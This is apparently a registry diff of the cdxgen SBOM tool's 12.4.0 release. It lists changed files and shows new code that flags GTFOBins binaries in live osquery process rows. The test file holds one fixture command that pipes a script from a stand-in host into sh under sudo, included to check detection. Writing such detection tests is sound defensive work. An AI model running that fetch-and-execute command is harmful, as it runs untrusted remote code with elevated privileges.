@cyclonedx/cdxgen 12.3.3 → 12.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +64 -22
- package/bin/audit.js +21 -7
- package/bin/cdxgen.js +238 -116
- package/bin/convert.js +28 -13
- package/bin/hbom.js +490 -0
- package/bin/repl.js +580 -29
- package/bin/validate.js +34 -4
- package/bin/verify.js +40 -5
- package/data/README.md +298 -25
- package/data/component-tags.json +6 -0
- package/data/crypto-oid.json +16 -0
- package/data/predictive-audit-allowlist.json +11 -0
- package/data/queries-darwin.json +12 -1
- package/data/queries-win.json +7 -1
- package/data/queries.json +39 -2
- package/data/rules/ai-agent-governance.yaml +16 -0
- package/data/rules/asar-archives.yaml +150 -0
- package/data/rules/chrome-extensions.yaml +8 -0
- package/data/rules/ci-permissions.yaml +42 -18
- package/data/rules/container-risk.yaml +14 -7
- package/data/rules/dependency-sources.yaml +11 -0
- package/data/rules/hbom-compliance.yaml +325 -0
- package/data/rules/hbom-performance.yaml +307 -0
- package/data/rules/hbom-security.yaml +248 -0
- package/data/rules/host-topology.yaml +165 -0
- package/data/rules/mcp-servers.yaml +18 -3
- package/data/rules/obom-runtime.yaml +907 -22
- package/data/rules/package-integrity.yaml +14 -0
- package/data/rules/rootfs-hardening.yaml +179 -0
- package/data/rules/vscode-extensions.yaml +9 -0
- package/lib/audit/index.js +209 -8
- package/lib/audit/index.poku.js +332 -0
- package/lib/audit/reporters.js +222 -0
- package/lib/audit/targets.js +146 -1
- package/lib/audit/targets.poku.js +186 -0
- package/lib/cli/asar.poku.js +328 -0
- package/lib/cli/index.js +506 -88
- package/lib/cli/index.poku.js +1352 -212
- package/lib/evinser/evinser.js +14 -9
- package/lib/helpers/analyzer.js +1406 -29
- package/lib/helpers/analyzer.poku.js +342 -0
- package/lib/helpers/analyzerScope.js +712 -0
- package/lib/helpers/asarutils.js +1556 -0
- package/lib/helpers/asarutils.poku.js +443 -0
- package/lib/helpers/auditCategories.js +12 -0
- package/lib/helpers/auditCategories.poku.js +32 -0
- package/lib/helpers/cbomutils.js +271 -1
- package/lib/helpers/cbomutils.poku.js +248 -5
- package/lib/helpers/display.js +291 -1
- package/lib/helpers/display.poku.js +149 -0
- package/lib/helpers/evidenceUtils.js +58 -0
- package/lib/helpers/evidenceUtils.poku.js +54 -0
- package/lib/helpers/exportUtils.js +9 -0
- package/lib/helpers/gtfobins.js +142 -8
- package/lib/helpers/gtfobins.poku.js +24 -1
- package/lib/helpers/hbom.js +710 -0
- package/lib/helpers/hbom.poku.js +496 -0
- package/lib/helpers/hbomAnalysis.js +268 -0
- package/lib/helpers/hbomAnalysis.poku.js +249 -0
- package/lib/helpers/hbomLoader.js +35 -0
- package/lib/helpers/hostTopology.js +803 -0
- package/lib/helpers/hostTopology.poku.js +363 -0
- package/lib/helpers/inventoryStats.js +69 -0
- package/lib/helpers/inventoryStats.poku.js +86 -0
- package/lib/helpers/lolbas.js +19 -1
- package/lib/helpers/lolbas.poku.js +23 -0
- package/lib/helpers/osqueryTransform.js +47 -0
- package/lib/helpers/osqueryTransform.poku.js +47 -0
- package/lib/helpers/plugins.js +349 -0
- package/lib/helpers/plugins.poku.js +57 -0
- package/lib/helpers/protobom.js +156 -45
- package/lib/helpers/protobom.poku.js +140 -5
- package/lib/helpers/remote/dependency-track.js +36 -3
- package/lib/helpers/remote/dependency-track.poku.js +44 -0
- package/lib/helpers/source.js +24 -0
- package/lib/helpers/source.poku.js +32 -0
- package/lib/helpers/utils.js +1438 -93
- package/lib/helpers/utils.poku.js +846 -4
- package/lib/managers/binary.e2e.poku.js +367 -0
- package/lib/managers/binary.js +2293 -353
- package/lib/managers/binary.poku.js +1699 -1
- package/lib/managers/docker.js +201 -79
- package/lib/managers/docker.poku.js +337 -12
- package/lib/server/server.js +2 -27
- package/lib/stages/postgen/annotator.js +38 -0
- package/lib/stages/postgen/annotator.poku.js +107 -1
- package/lib/stages/postgen/auditBom.js +121 -18
- package/lib/stages/postgen/auditBom.poku.js +1366 -31
- package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
- package/lib/stages/postgen/postgen.js +192 -1
- package/lib/stages/postgen/postgen.poku.js +321 -0
- package/lib/stages/postgen/ruleEngine.js +116 -0
- package/lib/stages/pregen/envAudit.js +14 -3
- package/package.json +23 -21
- package/types/bin/hbom.d.ts +3 -0
- package/types/bin/hbom.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +44 -0
- package/types/lib/audit/index.d.ts.map +1 -1
- package/types/lib/audit/reporters.d.ts +16 -0
- package/types/lib/audit/reporters.d.ts.map +1 -1
- package/types/lib/audit/targets.d.ts.map +1 -1
- package/types/lib/cli/index.d.ts +16 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/evinser/evinser.d.ts +4 -0
- package/types/lib/evinser/evinser.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +33 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/analyzerScope.d.ts +11 -0
- package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
- package/types/lib/helpers/asarutils.d.ts +34 -0
- package/types/lib/helpers/asarutils.d.ts.map +1 -0
- package/types/lib/helpers/auditCategories.d.ts +5 -0
- package/types/lib/helpers/auditCategories.d.ts.map +1 -1
- package/types/lib/helpers/cbomutils.d.ts +3 -2
- package/types/lib/helpers/cbomutils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/evidenceUtils.d.ts +8 -0
- package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +8 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -1
- package/types/lib/helpers/hbom.d.ts +49 -0
- package/types/lib/helpers/hbom.d.ts.map +1 -0
- package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
- package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
- package/types/lib/helpers/hbomLoader.d.ts +7 -0
- package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
- package/types/lib/helpers/hostTopology.d.ts +12 -0
- package/types/lib/helpers/hostTopology.d.ts.map +1 -0
- package/types/lib/helpers/inventoryStats.d.ts +11 -0
- package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -1
- package/types/lib/helpers/osqueryTransform.d.ts +3 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
- package/types/lib/helpers/plugins.d.ts +58 -0
- package/types/lib/helpers/plugins.d.ts.map +1 -0
- package/types/lib/helpers/protobom.d.ts +3 -4
- package/types/lib/helpers/protobom.d.ts.map +1 -1
- package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
- package/types/lib/helpers/source.d.ts.map +1 -1
- package/types/lib/helpers/utils.d.ts +45 -8
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts +5 -0
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +2 -1
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts +26 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts +2 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
- package/data/spdx-model-v3.0.1.jsonld +0 -15999
package/lib/helpers/gtfobins.js
CHANGED
|
@@ -1,11 +1,25 @@
|
|
|
1
1
|
import { readFileSync } from "node:fs";
|
|
2
|
-
import { basename
|
|
2
|
+
import { basename } from "node:path";
|
|
3
|
+
import { fileURLToPath } from "node:url";
|
|
3
4
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
5
|
+
const GTFOBINS_INDEX_FILE = fileURLToPath(
|
|
6
|
+
new URL("../../data/gtfobins-index.json", import.meta.url),
|
|
7
|
+
);
|
|
7
8
|
const GTFOBINS_REFERENCE_PREFIX = "https://gtfobins.github.io/gtfobins/";
|
|
8
9
|
const PRIVILEGED_CONTEXTS = ["sudo", "suid", "capabilities"];
|
|
10
|
+
const MATCH_FIELDS = [
|
|
11
|
+
"name",
|
|
12
|
+
"path",
|
|
13
|
+
"cmdline",
|
|
14
|
+
"parent_cmdline",
|
|
15
|
+
"action",
|
|
16
|
+
"program",
|
|
17
|
+
"executable",
|
|
18
|
+
"description",
|
|
19
|
+
];
|
|
20
|
+
const UNIX_PATH_PATTERN = /(?:^|[\s'"`=;|&(])((?:\.{0,2}\/|\/)[^\s'"`|;&()]+)/g;
|
|
21
|
+
const STANDALONE_COMMAND_PATTERN =
|
|
22
|
+
/(?:^|[\s;|&(])([a-z_][a-z0-9+._-]{1,})(?=$|[\s'"`|;&()])/gi;
|
|
9
23
|
const CONTAINER_ESCAPE_HELPERS = new Set([
|
|
10
24
|
"chroot",
|
|
11
25
|
"ctr",
|
|
@@ -29,9 +43,6 @@ const VERSIONED_ALIASES = [
|
|
|
29
43
|
const GTFOBINS_INDEX = loadGtfoBinsIndex();
|
|
30
44
|
|
|
31
45
|
function loadGtfoBinsIndex() {
|
|
32
|
-
if (!safeExistsSync(GTFOBINS_INDEX_FILE)) {
|
|
33
|
-
return { entries: {}, source: GTFOBINS_REFERENCE_PREFIX, sourceRef: "" };
|
|
34
|
-
}
|
|
35
46
|
try {
|
|
36
47
|
return JSON.parse(readFileSync(GTFOBINS_INDEX_FILE, "utf8"));
|
|
37
48
|
} catch {
|
|
@@ -39,6 +50,32 @@ function loadGtfoBinsIndex() {
|
|
|
39
50
|
}
|
|
40
51
|
}
|
|
41
52
|
|
|
53
|
+
function uniqueSortedStrings(values) {
|
|
54
|
+
return [...new Set((values || []).filter(Boolean))].sort();
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
function collectValueCandidates(value) {
|
|
58
|
+
if (!value || typeof value !== "string") {
|
|
59
|
+
return [];
|
|
60
|
+
}
|
|
61
|
+
const candidates = new Set();
|
|
62
|
+
const trimmedValue = value.trim();
|
|
63
|
+
if (trimmedValue) {
|
|
64
|
+
candidates.add(trimmedValue);
|
|
65
|
+
}
|
|
66
|
+
for (const match of value.matchAll(UNIX_PATH_PATTERN)) {
|
|
67
|
+
if (match[1]) {
|
|
68
|
+
candidates.add(match[1]);
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
|
|
72
|
+
if (match[1]) {
|
|
73
|
+
candidates.add(match[1]);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
return Array.from(candidates);
|
|
77
|
+
}
|
|
78
|
+
|
|
42
79
|
function resolveCandidateName(candidate) {
|
|
43
80
|
if (!candidate || typeof candidate !== "string") {
|
|
44
81
|
return undefined;
|
|
@@ -123,7 +160,7 @@ export function getGtfoBinsMetadata(name, linkedName) {
|
|
|
123
160
|
functions: entry.functions,
|
|
124
161
|
matchSource: directMatch.matchSource,
|
|
125
162
|
mitreTechniques: entry.mitreTechniques,
|
|
126
|
-
privilegedContexts: entry
|
|
163
|
+
privilegedContexts: entry?.contexts?.filter((context) =>
|
|
127
164
|
PRIVILEGED_CONTEXTS.includes(context),
|
|
128
165
|
),
|
|
129
166
|
reference: `${GTFOBINS_REFERENCE_PREFIX}${encodeURIComponent(directMatch.canonicalName)}/`,
|
|
@@ -187,3 +224,100 @@ export function createGtfoBinsProperties(name, linkedName) {
|
|
|
187
224
|
}
|
|
188
225
|
return properties;
|
|
189
226
|
}
|
|
227
|
+
|
|
228
|
+
/**
|
|
229
|
+
* Resolve GTFOBins properties for a live Linux osquery row.
|
|
230
|
+
*
|
|
231
|
+
* @param {string} queryCategory Osquery query category
|
|
232
|
+
* @param {object} row Osquery row
|
|
233
|
+
* @returns {Array<object>} CycloneDX custom properties
|
|
234
|
+
*/
|
|
235
|
+
export function createGtfoBinsPropertiesFromRow(queryCategory, row) {
|
|
236
|
+
const matches = new Map();
|
|
237
|
+
for (const field of MATCH_FIELDS) {
|
|
238
|
+
const fieldValue = row?.[field];
|
|
239
|
+
if (!fieldValue) {
|
|
240
|
+
continue;
|
|
241
|
+
}
|
|
242
|
+
for (const candidate of collectValueCandidates(String(fieldValue))) {
|
|
243
|
+
const metadata = getGtfoBinsMetadata(candidate);
|
|
244
|
+
if (!metadata) {
|
|
245
|
+
continue;
|
|
246
|
+
}
|
|
247
|
+
const existing = matches.get(metadata.canonicalName) || {
|
|
248
|
+
fields: new Set(),
|
|
249
|
+
metadata,
|
|
250
|
+
};
|
|
251
|
+
existing.fields.add(field);
|
|
252
|
+
matches.set(metadata.canonicalName, existing);
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
if (!matches.size) {
|
|
256
|
+
return [];
|
|
257
|
+
}
|
|
258
|
+
const names = uniqueSortedStrings(Array.from(matches.keys()));
|
|
259
|
+
const matchFields = uniqueSortedStrings(
|
|
260
|
+
Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
|
|
261
|
+
);
|
|
262
|
+
const functions = uniqueSortedStrings(
|
|
263
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.functions),
|
|
264
|
+
);
|
|
265
|
+
const contexts = uniqueSortedStrings(
|
|
266
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
|
|
267
|
+
);
|
|
268
|
+
const privilegedContexts = uniqueSortedStrings(
|
|
269
|
+
Array.from(matches.values()).flatMap(
|
|
270
|
+
(match) => match.metadata.privilegedContexts,
|
|
271
|
+
),
|
|
272
|
+
);
|
|
273
|
+
const references = uniqueSortedStrings(
|
|
274
|
+
Array.from(matches.values()).map((match) => match.metadata.reference),
|
|
275
|
+
);
|
|
276
|
+
const riskTags = uniqueSortedStrings(
|
|
277
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
|
|
278
|
+
);
|
|
279
|
+
const mitreTechniques = uniqueSortedStrings(
|
|
280
|
+
Array.from(matches.values()).flatMap(
|
|
281
|
+
(match) => match.metadata.mitreTechniques,
|
|
282
|
+
),
|
|
283
|
+
);
|
|
284
|
+
const properties = [
|
|
285
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
286
|
+
{ name: "cdx:gtfobins:names", value: names.join(",") },
|
|
287
|
+
{ name: "cdx:gtfobins:matchFields", value: matchFields.join(",") },
|
|
288
|
+
{ name: "cdx:gtfobins:queryCategory", value: queryCategory },
|
|
289
|
+
{ name: "cdx:gtfobins:reference", value: references.join(",") },
|
|
290
|
+
{ name: "cdx:gtfobins:sourceRef", value: GTFOBINS_INDEX.sourceRef || "" },
|
|
291
|
+
];
|
|
292
|
+
if (functions.length) {
|
|
293
|
+
properties.push({
|
|
294
|
+
name: "cdx:gtfobins:functions",
|
|
295
|
+
value: functions.join(","),
|
|
296
|
+
});
|
|
297
|
+
}
|
|
298
|
+
if (contexts.length) {
|
|
299
|
+
properties.push({
|
|
300
|
+
name: "cdx:gtfobins:contexts",
|
|
301
|
+
value: contexts.join(","),
|
|
302
|
+
});
|
|
303
|
+
}
|
|
304
|
+
if (privilegedContexts.length) {
|
|
305
|
+
properties.push({
|
|
306
|
+
name: "cdx:gtfobins:privilegedContexts",
|
|
307
|
+
value: privilegedContexts.join(","),
|
|
308
|
+
});
|
|
309
|
+
}
|
|
310
|
+
if (riskTags.length) {
|
|
311
|
+
properties.push({
|
|
312
|
+
name: "cdx:gtfobins:riskTags",
|
|
313
|
+
value: riskTags.join(","),
|
|
314
|
+
});
|
|
315
|
+
}
|
|
316
|
+
if (mitreTechniques.length) {
|
|
317
|
+
properties.push({
|
|
318
|
+
name: "cdx:gtfobins:mitreTechniques",
|
|
319
|
+
value: mitreTechniques.join(","),
|
|
320
|
+
});
|
|
321
|
+
}
|
|
322
|
+
return properties;
|
|
323
|
+
}
|
|
@@ -2,7 +2,11 @@ import { strict as assert } from "node:assert";
|
|
|
2
2
|
|
|
3
3
|
import { describe, it } from "poku";
|
|
4
4
|
|
|
5
|
-
import {
|
|
5
|
+
import {
|
|
6
|
+
createGtfoBinsProperties,
|
|
7
|
+
createGtfoBinsPropertiesFromRow,
|
|
8
|
+
getGtfoBinsMetadata,
|
|
9
|
+
} from "./gtfobins.js";
|
|
6
10
|
|
|
7
11
|
describe("gtfobins helpers", () => {
|
|
8
12
|
it("returns metadata for exact GTFOBins matches", () => {
|
|
@@ -46,4 +50,23 @@ describe("gtfobins helpers", () => {
|
|
|
46
50
|
propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
|
|
47
51
|
);
|
|
48
52
|
});
|
|
53
|
+
|
|
54
|
+
it("derives GTFOBins properties from live Linux osquery rows", () => {
|
|
55
|
+
const properties = createGtfoBinsPropertiesFromRow("sudo_executions", {
|
|
56
|
+
path: "/usr/bin/bash",
|
|
57
|
+
cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
|
|
58
|
+
parent_cmdline: "sudo bash -c payload",
|
|
59
|
+
});
|
|
60
|
+
const propertyMap = Object.fromEntries(
|
|
61
|
+
properties.map((property) => [property.name, property.value]),
|
|
62
|
+
);
|
|
63
|
+
assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
|
|
64
|
+
assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
|
|
65
|
+
assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
|
|
66
|
+
assert.ok(
|
|
67
|
+
propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
|
|
68
|
+
);
|
|
69
|
+
assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("path"));
|
|
70
|
+
assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("cmdline"));
|
|
71
|
+
});
|
|
49
72
|
});
|